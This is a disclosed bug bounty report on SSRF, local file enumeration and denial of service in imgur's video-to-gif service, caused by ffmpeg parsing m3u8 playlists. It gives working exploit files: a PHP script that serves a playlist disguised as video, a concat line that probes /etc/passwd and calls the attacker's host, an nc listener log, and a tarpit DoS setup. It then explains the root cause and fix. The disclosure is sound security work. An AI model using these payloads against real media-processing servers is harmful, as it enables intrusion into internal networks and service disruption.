SSRF / Local file enumeration / DoS due to improper handling of certain file formats by ffmpeg
The imgur video-to-gif service used ffmpeg to process user-supplied files, which could be crafted as m3u8 playlists to make the server send HTTP requests to arbitrary URLs and check for local file existence. An attacker could perform SSRF, enumerate local files, and cause denial of service by hanging ffmpeg processes.
- Triaged in 7 days
- Fixed in 32 days
- Paid in 32 days
- Disclosed after 32 days
Hello!
Short description
https://imgur.com/vidgif/upload endpoint is vulnerable to a SSRF/LFE vulnerability which allows an attacker to craft connections originating from imgur servers to any destination on the internet and imgur internal network and disclose lists of files located on imgur servers including sensitive data.
Why does the vulnerability exist?
imgur allows users to use 'video-to-gif' service. When a user requests conversion of such a video, imgur's servers perform an HTTP HEAD request to a user-supplied URL in order to discover the URL-s content-type and length. After that a user is offered a option to choose the required timestamps for beginning and end of converted video and then imgur performs another HTTP request (GET) to the same video file in order to grab the video file. After imgur downloads the video it evidently performs some sort of operations with ffmpeg (libav). However, ffmpeg has support of several special kinds of files which are not video files but 'playlists'. When processing such playlists ffmpeg performs commands contained and makes HTTP requests to urls listed in such playlists. We will use HTTP Live Streaming playlists (m3u8) in this example.
Although imgur verifies content-types to ignore files which are not actually videos, ffmpeg does not care about such types and will parse a, say, video/avi files with m3u8 lines as a m3u8 file.
Exploits
Basic SSRF exploit
To launch a basic SSRF we will prepare a php file which replies with video/avi content-type and m3u8 actual content. When parsing such a file, ffmpeg will make an unwanted HTTP GET request to an attacker-supplied URL.
First, lets prepare a POST-dispatcher page:
Request: http://gradeco.ru/imgur/m3u8-dispatch.html
<form action="https://imgur.com/vidgif/upload" method="post">
<input type="hidden" name="source" value="http://gradeco.ru/imgur/m3u8.php" />
<input type="hidden" name="url" value="http://gradeco.ru/imgur/m3u8.php" />
<input type="hidden" name="start" value="0.1" />
<input type="hidden" name="stop" value="1.0" />
<input type="submit" />
</form>
Now, lets prepare a 'video file' with the payload, we use php to supply a fake content-type
Request: http://gradeco.ru/imgur/m3u8.php
<?php
header('Content-type: video/avi');
header('Content-Length: 1234'); // random content-length, imgur fails if none provided
?>
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://www.gradeco.ru:12346/BASICSSRF // ffmpeg on imgur side will make this request
#EXT-X-ENDLIST
After ffmpeg parses the m3u8.php file imgur's server makes a request to an attacker's server:
evil.com:# nc -v -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
Connection from [54.82.61.224] port 12346 [tcp/*] accepted (family 2, sport 44251)
GET /BASICSSRF HTTP/1.1
User-Agent: Lavf/55.48.100
Accept: */*
Connection: close
Host: www.gradeco.ru:12346
We can see our SSRF identification token ('BASICSSRF') present and some information disclosure - lavf version 55.48.100.
Simple local file enumeration exploit
As we can only perform HTTP GET-s with this vulnerability we have to somehow procure more information. Fortunately, ffmpeg m3u8 support provides us with a useful CONCAT command which allows us to concatenate multiple sources. It also fails if source is not present.
To utilize that lets prepare a new m3u8-2.php file:
<?php
header('content-type: video/avi');
header('content-length: 1234');
?>
#EXTM3U
#EXT-X-PLAYLIST-TYPE:VOD
#EXT-X-TARGETDURATION:1
#EXT-X-VERSION:3
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:file:///etc/passwd|http://gradeco.ru:12346/
#EXT-X-ENDLIST
If provided with this file, imgur's server will contact gradeco.ru:12346 in case if /etc/passwd exists and won't if it does not exist. In this way an attacker may easily enumerate files.
Denial of service exploit:
To perform a denial of service attack an attacker may prepare a specially crafted YUV4 file which will hang ffmpeg and keep it on constantly performing HTTP GET requests. To do so lets create a separate file with a correct m3u8 header:
http://gradeco.ru/imgur/m3u8-head.m3u8
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://gradeco.ru:12346/?.txt
and a 'video file'
http://gradeco.ru/imgur/m3u8-dos.php
<?php
header('Content-type: video/avi');
header('Content-length: 1');
?>
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://www.gradeco.ru/imgur/m3u8-head.m3u8?2|file:///etc/issue
#EXT-X-ENDLIST
Redirect port 12346 to TARPIT and then request conversion by sending a following post request:
source: http://gradeco.ru/imgur/m3u8-dos.php
start: 0.1
stop: 10
imgur service will request port 12346, end up in TARPIT and then wait forever for 10 seconds of video to be delivered. That means that it will have an open socket and open process which may lead to resource exhaustion.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application trusted the user-supplied file's content-type and passed it to ffmpeg without restricting ffmpeg's ability to process playlist formats that can reference external or local resources.
Impact
An attacker could make imgur's servers send requests to arbitrary destinations, check for the existence of local files, and cause resource exhaustion by hanging ffmpeg processes.
What the attacker needed
Attacker-controlled server; ability to submit a URL to imgur
The fix
Restricting ffmpeg's playlist handling or validating genuine video input would mitigate the issue.
How it was found
- Create a file that is served with a video content-type but contains m3u8 playlist lines pointing to an attacker-controlled URL.
- Submit the file's URL to the imgur video-to-gif upload endpoint.
- Observe that imgur's server makes an HTTP request to the attacker's URL, confirming SSRF.
- For file enumeration, craft an m3u8 playlist that uses a concat directive with a local file path and an attacker URL; if the local file exists, imgur contacts the attacker URL.
- For denial of service, craft an m3u8 playlist that causes ffmpeg to hang while waiting for a response from a tarpit server.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The imgur website let people convert videos to GIFs. It used a tool called ffmpeg to read the video file, but ffmpeg also understands playlist files that tell it to fetch other files from the internet or from the server itself. Because imgur did not block these playlist files, an attacker could make imgur's servers visit any address or check if files exist on the server.
What is SSRF?
The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.